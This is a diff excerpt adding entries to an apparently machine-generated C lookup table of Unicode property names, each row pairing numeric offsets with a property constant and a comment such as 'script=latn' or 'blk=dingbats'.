+ { 394, 3129, 8588, 17, 4, PL_YI } /* scriptextensions=yiii */,
+ { 96, 7288, 8468, 7, 4, PL_MIAO } /* script=plrd */,
+ { 0, 2236, 3084, 13, 9, PL_ZL } /* category=lineseparator */,
+ { 403, 8011, 1012, 3, 6, PL_L } /* gc=letter */,
+ { 0, 7344, 3581, 4, 2, PL_XIDS } /* xids=t */,
+ { 2, 1392, 0, 9, 0, PL_CS } /* surrogate */,
+ { 4, 117, 5363, 3, 5, PL_IPAEXT } /* inipaext */,
+ { 29, 5645, 7997, 5, 2, PL_BIDIC } /* bidic=y */,
+ { 1, 513, 7997, 16, 4, PL_UIDEO } /* unifiedideograph=yes */,
+ { 145, 184, 1589, 2, 23, PL_LATINEXTADDITIONAL } /* islatinextendedadditional */,
+ { 12, 5544, 8741, 13, 3, PL_NV__5_SLASH_6 } /* numericvalue=5/6 */,
+ { 0, 7288, 8488, 7, 4, PL_RJNG } /* script=rjng */,
+ { 0, 8288, 3191, 3, 3, PL_DT__MED } /* dt=med */,
+ { 0, 1939, 0, 21, 0, PL_CJKCOMPATFORMS } /* cjkcompatibilityforms */,
+ { 0, 1417, 4569, 9, 15, PL_LT } /* category=titlecaseletter */,
+ { 136, 4314, 8774, 13, 3, PL_JG__BEH } /* joininggroup=beh */,
+ { 0, 7320, 0, 8, 0, PL_TFNG } /* tifinagh */,
+ { 1, 8572, 6395, 3, 11, PL_WB__SQ } /* wb=singlequote */,
+ { 945, 6890, 1981, 4, 11, PL_CYRILLICSUP } /* blk=cyrillicsup */,
+ { 0, 6890, 6029, 4, 8, PL_PHAISTOS } /* blk=phaistos */,
+ { 323, 7459, 1680, 3, 6, PL_SC__ZYYY } /* sc=common */,
+ { 0, 7689, 6865, 4, 7, PL_ARABICPFA } /* isarabicpfa */,
+ { 7, 5134, 3077, 4, 16, PL_ZP } /* isparagraphseparator */,
+ { 1281, 1402, 6686, 24, 10, PL_INPC__OVERSTRUCK } /* indicpositionalcategory=overstruck */,
+ { 25, 8096, 8596, 4, 4, PL_ZANB } /* scx=zanb */,
+ { 0, 1929, 7768, 9, 6, -PL_XPOSIXUPPER } /* uppercase=false */,
+ { 1152, 6210, 2788, 3, 10, PL_CHEROKEESUP } /* incherokeesup */,
+ { 0, 8096, 8384, 4, 4, PL_LINB } /* scx=linb */,
+ { 1846, 7471, 8001, 7, 5, PL_POSIXCNTRL } /* isposixcntrl */,
+ { 3, 2229, 1499, 16, 1, PL_Z } /* generalcategory=z */,
+ { 0, 5544, 8685, 13, 2, PL_NV__24 } /* numericvalue=24 */,
+ { 0, 7288, 7200, 7, 8, PL_SC__GURU } /* script=gurmukhi */,
+ { 1472, 6706, 7732, 10, 1, PL_IN__5 } /* presentin=5 */,
+ { 44, 7689, 183, 4, 2, PL_ARMI } /* isarmi */,
+ { 1, 8340, 5019, 3, 4, PL_JG__TETH } /* jg=teth */,
+ { 4, 974, 8617, 24, 2, PL_CCC__31 } /* canonicalcombiningclass=31 */,
+ { 6, 7459, 7780, 3, 4, PL_CARI } /* sc=cari */,
+ { 0, 7415, 0, 7, 0, PL_CJKEXTE } /* cjkexte */,
+ { 0, 8572, 7352, 3, 7, PL_WB__LE } /* wb=aletter */,
+ { 0, 3129, 2787, 17, 8, PL_CHER } /* scriptextensions=cherokee */,
+ { 0, 184, 5310, 2, 13, PL_XPOSIXDIGIT } /* isdecimalnumber */,
+ { 771, 1448, 352, 5, 30, PL_SUPMATHOPERATORS } /* insupplementalmathematicaloperators */,
+ { 1156, 7136, 2044, 6, 21, PL_MEETEIMAYEKEXT } /* block=meeteimayekextensions */,
+ { 0, 42, 0, 9, 0, PL_CJKCOMPAT } /* cjkcompat */,
+ { 0, 7136, 7876, 6, 6, PL_INLYCIAN } /* block=lycian */,
+ { 0, 7136, 2787, 6, 11, PL_CHEROKEESUP } /* block=cherokeesup */,
+ { 0, 5315, 0, 5, 0, PL_XPOSIXALNUM } /* alnum */,
+ { 0, 8816, 8627, 3, 3, PL_NV__1_SLASH_8 } /* nv=1/8 */,
+ { 2179, 184, 8252, 2, 4, PL_BUHD } /* isbuhd */,
+ { 0, 184, 8284, 2, 4, PL_DSRT } /* isdsrt */,
+ { 0, 316, 0, 33, 0, PL_MISCMATHSYMBOLSB } /* miscellaneousmathematicalsymbolsb */,
+ { 0, 8096, 8360, 4, 4, PL_KTHI } /* scx=kthi */,
+ { 848, 5544, 7708, 13, 6, PL_NV__216000 } /* numericvalue=216000 */,
+ { 322, 45, 0, 2, 0, PL_CO } /* co */,
+ { 1221, 7689, 1260, 4, 22, PL_ARABICPFB } /* isarabicpresentationformsb */,
+ { 0, 7136, 3067, 6, 8, PL_DINGBATS } /* block=dingbats */,
+ { 0, 184, 6566, 2, 10, PL_BOXDRAWING } /* isboxdrawing */,
+ { 4, 2750, 7951, 4, 5, PL_TERM } /* term=true */,
+ { 5, 6890, 5093, 4, 14, PL_PHONETICEXTSUP } /* blk=phoneticextsup */,
+ { 516, 8816, 7750, 3, 3, PL_NV__800 } /* nv=800 */,
+ { 5, 7288, 6626, 7, 4, PL_KHAR } /* script=khar */,
+ { 16, 8026, 2349, 5, 12, PL_INPC__TOPANDBOTTOM } /* inpc=topandbottom */,
+ { 259, 8376, 4561, 3, 2, PL_LB__EB } /* lb=eb */,
+ { 0, 6890, 5801, 4, 12, PL_KHMERSYMBOLS } /* blk=khmersymbols */,
+ { 2692, 836, 0, 28, 0, PL_SUPPUAA } /* supplementaryprivateuseareaa */,
+ { 0, 8376, 184, 3, 2, PL_LB__IS } /* lb=is */,
+ { 17, 1206, 7313, 3, 7, PL_INTAGBANWA } /* intagbanwa */,
+ { 606, 8011, 74, 3, 2, PL_ME } /* gc=me */,
+ { 1, 1111, 0, 4, 0, PL_KANA } /* kana */,
+ { 0, 6263, 1306, 10, 13, PL_LB__CM } /* linebreak=combiningmark */,
+ { 2861, 8376, 5762, 3, 2, PL_LB__ZW } /* lb=zw */,
+ { 32, 7224, 5315, 8, 5, PL_XPOSIXALNUM } /* isxposixalnum */,
+ { 128, 8086, 3223, 5, 2, -PL_QMARK } /* qmark=n */,
+ { 0, 4449, 7373, 4, 7, PL_NFCQC__M } /* nfcqc=maybe */,
+ { 0, 7816, 3223, 6, 3, -PL_GRBASE } /* grbase=no */,
+ { 30, 4827, 0, 6, 0, PL_KANGXI } /* kangxi */,
+ { 264, 8096, 8516, 4, 4, PL_SGNW } /* scx=sgnw */,
+ { 18, 1701, 7768, 2, 2, -PL_SD } /* sd=f */,
+ { 2, 184, 7366, 2, 7, PL_BENG } /* isbengali */,
+ { 10, 122, 7768, 9, 2, -PL_DIA } /* diacritic=f */,
+ { 184, 3866, 0, 16, 0, PL_MISCMATHSYMBOLSB } /* miscmathsymbolsb */,
+ { 40, 1892, 0, 5, 0, PL_CASED } /* cased */,
+ { 3, 8096, 7104, 4, 8, PL_ARMN } /* scx=armenian */,
+ { 4, 7459, 7597, 3, 7, PL_SHAW } /* sc=shavian */,
+ { 1676, 2636, 0, 12, 0, PL_MONGOLIANSUP } /* mongoliansup */,
+ { 3109, 892, 7997, 17, 4, PL_VS } /* variationselector=yes */,
+ { 0, 7478, 8529, 3, 3, PL_SYRC } /* issyrc */,
+ { 145, 8344, 0, 3, 1, PL_JT__U } /* jt=u */,
+ { 0, 2229, 218, 16, 2, PL_PE } /* generalcategory=pe */,
+ { 0, 21, 6989, 2, 9, PL_INNEWTAILUE } /* innewtailue */,
+ { 664, 21, 4883, 2, 14, PL_LATINEXTE } /* inlatinextendede */,
+ { 0, 6706, 8152, 10, 4, PL_IN__10 } /* presentin=10.0 */,
+ { 21, 184, 3441, 2, 17, PL_LETTERLIKESYMBOLS } /* isletterlikesymbols */,
+ { 13, 6890, 8066, 4, 5, PL_INORIYA } /* blk=oriya */,
+ { 2823, 8021, 7951, 5, 5, PL_GREXT } /* grext=true */,
+ { 0, 8340, 727, 3, 3, PL_JG__DAL } /* jg=dal */,
+ { 2, 8931, 0, 2, 0, PL_L_AMP_ } /* l& */,
+ { 0, 1855, 7768, 21, 6, -PL_CWCM } /* changeswhencasemapped=false */,
+ { 1, 892, 0, 17, 0, PL_VS } /* variationselector */,
+ { 0, 1202, 7768, 3, 6, -PL_DEP } /* dep=false */,
+ { 75, 8340, 5885, 3, 12, PL_JG__MALAYALAMNYA } /* jg=malayalamnya */,
+ { 0, 8816, 8717, 3, 3, PL_NV__3_SLASH_4 } /* nv=3/4 */,
+ { 0, 7136, 2636, 6, 19, PL_MONGOLIANSUP } /* block=mongoliansupplement */,
+ { 0, 11, 3223, 3, 3, -PL_DIA } /* dia=no */,
+ { 0, 1426, 5297, 22, 13, PL_INSC__CONSONANTDEAD } /* indicsyllabiccategory=consonantdead */,
+ { 0, 2221, 3581, 3, 2, PL_GCB__T } /* hst=t */,
+ { 1, 7136, 3458, 6, 10, PL_INMANICHAEAN } /* block=manichaean */,
+ { 0, 8288, 68, 3, 3, PL_DT__SUP } /* dt=sup */,
+ { 0, 6297, 0, 4, 0, PL_CS } /* iscs */,
+ { 0, 7894, 7768, 6, 2, -PL_PATSYN } /* patsyn=f */,
+ { 0, 7136, 6296, 6, 11, PL_MISCSYMBOLS } /* block=miscsymbols */,
+ { 5, 8816, 8621, 3, 3, PL_NV__1_SLASH_6 } /* nv=1/6 */,
+ { 920, 7288, 8372, 7, 4, PL_SC__LATN } /* script=latn */,
+ { 0, 6890, 2107, 4, 21, PL_SINHALAARCHAICNUMBERS } /* blk=sinhalaarchaicnumbers */,
+ { 56, 8086, 7951, 5, 5, PL_QMARK } /* qmark=true */,
+ { 0, 6713, 8612, 3, 3, PL_IN__1_DOT_1 } /* in=1.1 */,
+ { 3, 2859, 7184, 18, 3, PL_DT__FRA } /* decompositiontype=fra */,
+ { 0, 122, 3581, 9, 2, PL_DIA } /* diacritic=t */,
+ { 2244, 7136, 6120, 6, 11, PL_DOMINO } /* block=dominotiles */,
+ { 0, 4314, 6065, 13, 11, PL_JG__AFRICANNOON } /* joininggroup=africannoon */,
+ { 0, 1658, 0, 22, 0, PL_CJKCOMPATIDEOGRAPHSSUP } /* cjkcompatideographssup */,
+ { 0, 4314, 4911, 13, 14, PL_JG__MANICHAEANAYIN } /* joininggroup=manichaeanayin */,
+ { 130, 6208, 3223, 5, 2, -PL_JOINC } /* joinc=n */,
+ { 0, 8432, 0, 4, 0, PL_NKO } /* nkoo */,
+ { 2070, 8096, 8424, 4, 4, PL_NBAT } /* scx=nbat */,
+ { 0, 8096, 8524, 4, 4, PL_SHRD } /* scx=shrd */,
+ { 1, 5284, 0, 13, 0, PL_CI } /* caseignorable */,
+ { 4, 3129, 2531, 17, 4, PL_MULT } /* scriptextensions=mult */,
+ { 0, 1206, 8107, 3, 4, PL_INTAILE } /* intaile */,
+ { 3, 4542, 1909, 3, 8, PL_LT } /* istitlecase */,
+ { 0, 7288, 3754, 7, 7, PL_SC__LINB } /* script=linearb */,
+ { 9, 8011, 8939, 3, 2, PL_ZP } /* gc=zp */,
+ { 10, 8432, 0, 3, 0, PL_NKO } /* nko */,
+ { 0, 5544, 8915, 13, 2, PL_NV__48 } /* numericvalue=48 */,
+ { 0, 5544, 8164, 13, 2, PL_NV__15 } /* numericvalue=15 */,
+ { 0, 6210, 3357, 3, 16, PL_CYRILLICEXTC } /* incyrillicextendedc */,
+ { 3, 8056, 0, 5, 0, PL_NSHU } /* nushu */,
+ { 4768, 8240, 5621, 3, 12, PL_BC__AL } /* bc=arabicletter */,
+ { 0, 7136, 8388, 6, 4, PL_LISU } /* block=lisu */,
+ { 84, 1834, 3223, 21, 2, -PL_CWCF } /* changeswhencasefolded=n */,
+ { 4004, 5192, 2270, 3, 19, PL_PHLI } /* isinscriptionalpahlavi */,
+ { 0, 7380, 7702, 7, 2, PL_CCC__20 } /* ccc=ccc20 */,
+ { 0, 8376, 5107, 3, 14, PL_LB__PO } /* lb=postfixnumeric */,
+ { 0, 974, 8669, 24, 3, PL_CCC__202 } /* canonicalcombiningclass=202 */,
+ { 51, 974, 8645, 27, 3, PL_CCC__129 } /* canonicalcombiningclass=ccc129 */,
+ { 1225, 8816, 8666, 3, 3, PL_NV__2_SLASH_5 } /* nv=2/5 */,
+ { 653, 7168, 7997, 8, 2, PL_EXT } /* extender=y */,
+ { 205, 5657, 7768, 12, 2, -PL_BIDIM } /* bidimirrored=f */,
+ { 2067, 8288, 1224, 3, 3, PL_DT__SUB } /* dt=sub */,
+ { 4, 8372, 0, 4, 0, PL_LATN } /* latn */,
+ { 3077, 8376, 7695, 3, 7, PL_LB__ZW } /* lb=zwspace */,
+ { 0, 5544, 7750, 13, 5, PL_NV__80000 } /* numericvalue=80000 */,
+ { 1552, 5134, 8078, 4, 3, PL_PATWS } /* ispatws */,
+ { 0, 7459, 6881, 3, 9, PL_BHKS } /* sc=bhaiksuki */,
+ { 584, 4542, 7321, 3, 7, PL_TFNG } /* istifinagh */,
+ { 130, 6890, 849, 4, 10, PL_PUA } /* blk=privateuse */,
+ { 162, 6263, 4524, 10, 15, PL_LB__OP } /* linebreak=openpunctuation */,
+ { 603, 1918, 3223, 21, 3, -PL_CWU } /* changeswhenuppercased=no */,
+ { 10, 6890, 78, 4, 35, PL_ARABICMATH } /* blk=arabicmathematicalalphabeticsymbols */,
+ { 0, 119, 7811, 3, 5, PL_INGOTHIC } /* ingothic */,
+ { 1, 3129, 2967, 17, 4, PL_GEOR } /* scriptextensions=geor */,
+ { 307, 1202, 3223, 3, 2, -PL_DEP } /* dep=n */,
+ { 0, 5427, 0, 9, 0, PL_MLYM } /* malayalam */,
+ { 6, 8428, 0, 4, 0, PL_NEWA } /* newa */,
+ { 2, 8096, 8468, 4, 4, PL_MIAO } /* scx=plrd */,
+ { 78, 2269, 0, 20, 0, PL_PHLI } /* inscriptionalpahlavi */,
+ { 4, 184, 7443, 2, 7, PL_GRAN } /* isgrantha */,
+ { 2, 6210, 5706, 3, 11, PL_CYRILLICEXTC } /* incyrillicextc */,
+ { 12, 5250, 7951, 8, 5, PL_XPOSIXXDIGIT } /* hexdigit=true */,
+ { 1539, 7457, 7688, 5, 7, PL_INSC__VISARGA } /* insc=visarga */,
+ { 1301, 7224, 5253, 8, 5, PL_XPOSIXDIGIT } /* isxposixdigit */,
+ { 0, 6890, 3067, 4, 8, PL_DINGBATS } /* blk=dingbats */,
+ { 2595, 1206, 1813, 3, 21, PL_TRANSPORTANDMAP } /* intransportandmapsymbols */,
+ { 13, 21, 2150, 3, 19, PL_INANATOLIANHIEROGLYPHS } /* inanatolianhieroglyphs */,
+ { 1105, 4542, 3148, 3, 10, PL_TAIXUANJING } /* istaixuanjing */,
+ { 1414, 3373, 0, 16, 0, PL_EA__H } /* eastasianwidth=h */,
+ { 585, 7136, 3611, 7, 7, PL_INBOPOMOFO } /* block=bopomofo */,
+ { 3, 7288, 8568, 7, 4, PL_VAI } /* script=vaii */,
+ { 49, 8196, 8861, 4, 3, PL_AGE__4_DOT_1 } /* age=v41 */,
+ { 3, 6713, 7744, 3, 1, PL_IN__7 } /* in=7 */,
+ { 0, 7152, 0, 8, 0, PL_DUPL } /* duployan */,
+ { 7, 7689, 97, 3, 4, PL_XPOSIXALPHA } /* isalpha */,
+ { 124, 7288, 2895, 7, 8, PL_ETHI } /* script=ethiopic */,
+ { 2386, 5645, 2579, 10, 19, PL_BC__LRO } /* bidiclass=lefttorightoverride */,
+ { 1088, 7136, 2895, 6, 18, PL_ETHIOPICSUP } /* block=ethiopicsupplement */,
+ { 2, 1746, 5772, 21, 5, PL_WB__EB } /* graphemeclusterbreak=ebase */,
+ { 9, 7136, 4813, 6, 7, PL_KANASUP } /* block=kanasup */,
+ { 0, 184, 3610, 2, 16, PL_BOPOMOFOEXT } /* isbopomofoextended */,
+ { 3, 1746, 5753, 21, 12, PL_WB__GAZ } /* graphemeclusterbreak=glueafterzwj */,
+ { 0, 2065, 7768, 21, 6, -PL_NCHAR } /* noncharactercodepoint=false */,
+ { 0, 1346, 4774, 5, 11, PL_INGREEK } /* ingreekandcoptic */,
+ { 0, 3129, 6676, 17, 10, PL_XPEO } /* scriptextensions=oldpersian */,
+ { 0, 2108, 3723, 3, 15, PL_HIGHPUSURROGATES } /* inhighpusurrogates */,
+ { 934, 1892, 3223, 5, 2, -PL_CASED } /* cased=n */,
+ { 4292, 7459, 7061, 3, 9, PL_SAMR } /* sc=samaritan */,
+ { 32, 7288, 4644, 7, 15, PL_ZANB } /* script=zanabazarsquare */,
+ { 0, 8508, 7877, 4, 5, PL_LYCI } /* sc=lycian */,
+ { 22, 184, 5706, 3, 11, PL_CYRILLICEXTC } /* iscyrillicextc */,
+ { 0, 5284, 7768, 13, 2, -PL_CI } /* caseignorable=f */,
+ { 12, 7136, 510, 6, 30, PL_CJKEXTA } /* block=cjkunifiedideographsextensiona */,
+ { 0, 8076, 7768, 5, 6, -PL_PATWS } /* patws=false */,
+ { 0, 1417, 25, 9, 1, PL_S } /* category=s */,
+ { 2714, 7136, 6484, 6, 3, PL_INIDC } /* block=idc */,
+ { 1157, 7136, 316, 6, 33, PL_MISCMATHSYMBOLSB } /* block=miscellaneousmathematicalsymbolsb */,
+ { 3411, 974, 8187, 27, 2, PL_CCC__27 } /* canonicalcombiningclass=ccc27 */,
+ { 32, 7227, 3521, 5, 5, PL_POSIXSPACE } /* posixspace */,
+ { 0, 7136, 5945, 6, 12, PL_MATHALPHANUM } /* block=mathalphanum */,
+ { 7, 7136, 447, 6, 32, PL_IDEOGRAPHICSYMBOLS } /* block=ideographicsymbolsandpunctuation */,
+ { 0, 540, 0, 30, 0, PL_CJKEXTB } /* cjkunifiedideographsextensionb */,
+ { 606, 7288, 6406, 7, 4, PL_SORA } /* script=sora */,
+ { 4224, 4630, 2883, 3, 3, PL_UGAR } /* isugar */,
+ { 0, 8096, 7248, 4, 8, PL_JAVA } /* scx=javanese */,
+ { 1, 6890, 5945, 4, 12, PL_MATHALPHANUM } /* blk=mathalphanum */,
+ { 176, 4757, 3223, 14, 2, -PL_GREXT } /* graphemeextend=n */,
+ { 1564, 1202, 0, 3, 0, PL_DEP } /* dep */,
+ { 0, 21, 7248, 2, 8, PL_INJAVANESE } /* injavanese */,
+ { 7, 6736, 0, 4, 0, PL_SAUR } /* saur */,
+ { 32, 8572, 5729, 3, 12, PL_WB__EX } /* wb=extendnumlet */,
+ { 0, 8011, 5083, 4, 10, PL_MC } /* gc=spacingmark */,
+ { 2661, 7288, 7025, 7, 9, PL_ORKH } /* script=oldturkic */,
+ { 0, 8816, 7714, 3, 5, PL_NV__30000 } /* nv=30000 */,
+ { 0, 6890, 3738, 4, 6, PL_LATIN1 } /* blk=latin1 */,
+ { 2, 7478, 2713, 3, 18, PL_SUPARROWSB } /* issupplementalarrowsb */,
+ { 33, 6210, 1283, 3, 23, PL_CJKSYMBOLS } /* incjksymbolsandpunctuation */,
+ { 0, 2229, 1797, 16, 14, PL_LM } /* generalcategory=modifierletter */,
+ { 906, 1001, 0, 27, 0, PL_ENCLOSEDCJK } /* enclosedcjklettersandmonths */,
+ { 0, 3129, 8200, 17, 4, PL_AGHB } /* scriptextensions=aghb */,
+ { 0, 6756, 3581, 10, 2, PL_SD } /* softdotted=t */,
+ { 0, 7288, 8320, 7, 4, PL_HLUW } /* script=hluw */,
+ { 0, 7459, 2967, 3, 8, PL_SC__GEOR } /* sc=georgian */,
+ { 0, 6890, 2636, 4, 12, PL_MONGOLIANSUP } /* blk=mongoliansup */,
+ { 7, 6890, 2389, 4, 19, PL_ANCIENTGREEKNUMBERS } /* blk=ancientgreeknumbers */,
+ { 1394, 1426, 1330, 22, 9, PL_INSC__CONSONANT } /* indicsyllabiccategory=consonant */,
+ { 2048, 2712, 0, 19, 0, PL_SUPARROWSB } /* supplementalarrowsb */,
+ { 4, 21, 6241, 2, 11, PL_KATAKANAEXT } /* inkatakanaext */,
+ { 0, 184, 5388, 2, 13, PL_KANAEXTA } /* iskanaextendeda */,
+ { 64, 2229, 3690, 16, 16, PL_PF } /* generalcategory=finalpunctuation */,
+ { 0, 7288, 7555, 7, 7, PL_OLCK } /* script=olchiki */,
+ { 0, 7894, 7997, 6, 4, PL_PATSYN } /* patsyn=yes */,
+ { 1, 6890, 3390, 4, 17, PL_ETHIOPICEXTA } /* blk=ethiopicextendeda */,
+ { 351, 3373, 7888, 15, 6, PL_EA__NA } /* eastasianwidth=narrow */,
+ { 4, 8340, 87, 3, 2, PL_JG__HE } /* jg=he */,
+ { 21, 3129, 1111, 17, 4, PL_KANA } /* scriptextensions=kana */,
+ { 545, 3129, 8071, 17, 5, PL_OSGE } /* scriptextensions=osage */,
+ { 2, 1417, 47, 9, 1, PL_M } /* category=m */,
+ { 226, 7288, 8556, 7, 4, PL_THAI } /* script=thai */,
+ { 0, 8260, 0, 4, 0, PL_CAKM } /* cakm */,
+ { 6864, 6713, 8657, 3, 3, PL_IN__2 } /* in=2.0 */,
+ { 2188, 6706, 8849, 10, 3, PL_IN__3 } /* presentin=v30 */,
+ { 0, 8066, 0, 5, 0, PL_ORYA } /* oriya */,
+ { 520, 7876, 0, 4, 0, PL_LYCI } /* lyci */,
+ { 12, 7380, 8228, 4, 4, PL_CCC__133 } /* ccc=atbl */,
+ { 321, 5401, 0, 13, 0, PL_ZL } /* lineseparator */,
+ { 5897, 2859, 2369, 18, 8, PL_DT__VERT } /* decompositiontype=vertical */,
+ { 3, 184, 720, 2, 30, PL_ENCLOSEDALPHANUMSUP } /* isenclosedalphanumericsupplement */,
+ { 4182, 21, 7256, 2, 8, PL_KANAEXTA } /* inkanaexta */,
+ { 0, 6263, 7695, 10, 7, PL_LB__ZW } /* linebreak=zwspace */,
+ { 0, 6263, 6087, 10, 11, PL_LB__BB } /* linebreak=breakbefore */,
+ { 2459, 2750, 7768, 19, 2, -PL_TERM } /* terminalpunctuation=f */,
+ { 3875, 7459, 7991, 3, 5, PL_SC__BUHD } /* sc=buhid */,
+ { 5, 7136, 1498, 7, 13, PL_BYZANTINEMUSIC } /* block=byzantinemusic */,
+ { 0, 7136, 6626, 6, 10, PL_INKHAROSHTHI } /* block=kharoshthi */,
+ { 3113, 8016, 7160, 4, 8, PL_WB__EBG } /* gcb=ebasegaz */,
+ { 0, 3129, 7520, 17, 4, PL_MARC } /* scriptextensions=marc */,
+ { 1, 2967, 0, 4, 0, PL_GEOR } /* geor */,
+ { 0, 7288, 7443, 7, 7, PL_SC__GRAN } /* script=grantha */,
+ { 4, 3424, 3223, 17, 3, -PL_IDSB } /* idsbinaryoperator=no */,
+ { 8, 8340, 5894, 3, 3, PL_JG__NYA } /* jg=nya */,
+ { 2824, 1448, 2705, 5, 7, PL_SUPARROWSA } /* insuparrowsa */,
+ { 32, 6756, 7768, 10, 2, -PL_SD } /* softdotted=f */,
+ { 0, 7380, 8685, 4, 2, PL_CCC__24 } /* ccc=24 */,
+ { 0, 7689, 1236, 4, 22, PL_ARABICPFA } /* isarabicpresentationformsa */,
+ { 0, 7380, 8696, 4, 3, PL_CCC__AR } /* ccc=232 */,
+ { 0, 3424, 3223, 4, 3, -PL_IDSB } /* idsb=no */,
+ { 0, 5544, 7714, 13, 5, PL_NV__30000 } /* numericvalue=30000 */,
+ { 0, 2229, 1886, 16, 2, PL_NL } /* generalcategory=nl */,
+ { 0, 1503, 751, 3, 21, PL_ENCLOSEDIDEOGRAPHICSUP } /* inenclosedideographicsup */,
+ { 0, 7380, 5349, 4, 13, PL_CCC__IS } /* ccc=iotasubscript */,
+ { 225, 3882, 0, 16, 0, PL_MYANMAREXTA } /* myanmarextendeda */,
+ { 6178, 6483, 7951, 4, 5, PL_XIDC } /* xidc=true */,
+ { 2484, 34, 7997, 3, 4, PL_EXT } /* ext=yes */,
+ { 1, 96, 3581, 10, 2, PL_XPOSIXALPHA } /* alphabetic=t */,
+ { 768, 7288, 2409, 8, 3, PL_BRAH } /* script=brah */,
+ { 0, 184, 11, 2, 2, PL_DI } /* isdi */,
+ { 7, 8096, 7520, 4, 4, PL_MARC } /* scx=marc */,
+ { 0, 5645, 0, 11, 0, PL_BC__B } /* bidiclass=b */,
+ { 4, 8508, 4630, 4, 3, PL_LISU } /* sc=lisu */,
+ { 7, 7380, 7744, 4, 1, PL_CCC__7 } /* ccc=7 */,
+ { 1, 7136, 0, 6, 42, PL_UCASEXT } /* block=unifiedcanadianaboriginalsyllabicsextended */,
+ { 9, 1790, 0, 22, 0, PL_MODIFIERLETTERS } /* spacingmodifierletters */,
+ { 15, 8021, 3581, 5, 2, PL_GREXT } /* grext=t */,
+ { 320, 184, 1982, 3, 10, PL_CYRILLICSUP } /* iscyrillicsup */,
+ { 7211, 974, 3254, 24, 17, PL_CCC__133 } /* canonicalcombiningclass=attachedbelowleft */,
+ { 2082, 6890, 6296, 4, 11, PL_MISCSYMBOLS } /* blk=miscsymbols */,
+ { 74, 8096, 7248, 4, 4, PL_JAVA } /* scx=java */,
+ { 5236, 27, 0, 2, 0, PL_LL } /* ll */,
+ { 4, 2134, 3223, 3, 2, -PL_XPOSIXXDIGIT } /* hex=n */,
+ { 0, 8376, 5789, 3, 12, PL_LB__IS } /* lb=infixnumeric */,
+ { 5204, 1892, 7997, 5, 4, PL_CASED } /* cased=yes */,
+ { 1290, 2859, 7888, 18, 6, PL_DT__NAR } /* decompositiontype=narrow */,
+ { 0, 8777, 7768, 3, 6, -PL_CWL } /* cwl=false */,
+ { 1, 7288, 1589, 7, 5, PL_SC__LATN } /* script=latin */,
+ { 0, 6756, 7951, 10, 5, PL_SD } /* softdotted=true */,
+ { 8, 6890, 720, 4, 30, PL_ENCLOSEDALPHANUMSUP } /* blk=enclosedalphanumericsupplement */,
+ { 1, 7136, 2107, 6, 21, PL_SINHALAARCHAICNUMBERS } /* block=sinhalaarchaicnumbers */,
+ { 0, 6472, 2284, 10, 2, PL_LB__HL } /* wordbreak=hl */,
+ { 4, 3114, 1, 3, 41, PL_UCASEXT } /* inunifiedcanadianaboriginalsyllabicsextended */,
+ { 0, 184, 114, 3, 34, PL_DIACRITICALSFORSYMBOLS } /* iscombiningdiacriticalmarksforsymbols */,
+ { 0, 4542, 4011, 3, 15, PL_TANGUTCOMPONENTS } /* istangutcomponents */,
+ { 0, 974, 23, 24, 2, PL_CCC__AL } /* canonicalcombiningclass=al */,
+ { 0, 7288, 994, 8, 3, PL_BASS } /* script=bass */,
+ { 0, 8096, 2877, 4, 4, PL_DEVA } /* scx=deva */,
+ { 0, 8096, 6373, 4, 11, PL_HMNG } /* scx=pahawhhmong */,
+ { 4836, 7136, 7408, 6, 7, PL_CJKEXTD } /* block=cjkextd */,
+ { 10, 7459, 5777, 3, 6, PL_HEBR } /* sc=hebrew */,
+ { 1144, 184, 8273, 3, 3, PL_CWCF } /* iscwcf */,
+ { 1, 1746, 125, 21, 2, PL_LB__CR } /* graphemeclusterbreak=cr */,
+ { 2132, 3129, 7019, 17, 4, PL_PERM } /* scriptextensions=perm */,
+ { 0, 84, 3223, 4, 2, -PL_MATH } /* math=n */,
+ { 3, 184, 7810, 2, 4, PL_GOTH } /* isgoth */,
+ { 0, 7380, 8633, 7, 3, PL_CCC__103 } /* ccc=ccc103 */,
+ { 1, 6890, 1768, 4, 22, PL_MISCTECHNICAL } /* blk=miscellaneoustechnical */,
+ { 801, 7478, 6777, 3, 9, PL_SUPARROWSB } /* issuparrowsb */,
+ { 2049, 7043, 0, 9, 0, PL_PAUC } /* paucinhau */,
+ { 8, 8021, 7768, 5, 2, -PL_GREXT } /* grext=f */,
+ { 3472, 8548, 0, 4, 0, PL_TFNG } /* tfng */,
+ { 0, 8572, 6962, 3, 9, PL_WB__ML } /* wb=midletter */,
+ { 1, 6263, 929, 10, 2, PL_LB__CP } /* linebreak=cp */,
+ { 57, 184, 2788, 3, 17, PL_CHEROKEESUP } /* ischerokeesupplement */,
+ { 6591, 6263, 496, 10, 2, PL_LB__NU } /* linebreak=nu */,
+ { 1984, 3129, 5957, 17, 4, PL_MEND } /* scriptextensions=mend */,
+ { 2, 7136, 6766, 6, 10, PL_SUPARROWSA } /* block=suparrowsa */,
+ { 2, 3129, 7144, 17, 4, PL_BUGI } /* scriptextensions=bugi */,
+ { 1, 3129, 8552, 17, 4, PL_TGLG } /* scriptextensions=tglg */,
+ { 20, 7136, 5717, 6, 12, PL_ETHIOPICEXTA } /* block=ethiopicexta */,
+ { 1285, 8096, 8604, 4, 4, PL_ZYYY } /* scx=zyyy */,
+ { 8, 7459, 8544, 3, 4, PL_TAVT } /* sc=tavt */,
+ { 0, 8121, 7768, 5, 2, -PL_UIDEO } /* uideo=f */,
+ { 135, 11, 7768, 3, 6, -PL_DIA } /* dia=false */,
+ { 100, 3129, 2877, 17, 4, PL_DEVA } /* scriptextensions=deva */,
+ { 0, 7689, 804, 4, 4, PL_ARROWS } /* isarrows */,
+ { 377, 7478, 17, 3, 1, PL_SO } /* isso */,
+ { 4933, 8196, 8843, 4, 3, PL_AGE__2 } /* age=v20 */,
+ { 29, 8096, 8356, 4, 4, PL_KNDA } /* scx=knda */,
+ { 4185, 7288, 8432, 7, 4, PL_NKO } /* script=nkoo */,
+ { 1, 8196, 8756, 4, 3, PL_AGE__6_DOT_3 } /* age=6.3 */,
+ { 5, 6484, 7997, 10, 4, PL_IDC } /* idcontinue=yes */,
+ { 4384, 7136, 7208, 6, 8, PL_INHIRAGANA } /* block=hiragana */,
+ { 0, 7689, 948, 3, 16, PL_ANCIENTGREEKMUSIC } /* isancientgreekmusic */,
+ { 3, 184, 183, 2, 34, PL_MISCPICTOGRAPHS } /* ismiscellaneoussymbolsandpictographs */,
+ { 15, 11, 0, 3, 0, PL_DIA } /* dia */,
+ { 0, 8096, 6980, 4, 9, PL_NBAT } /* scx=nabataean */,
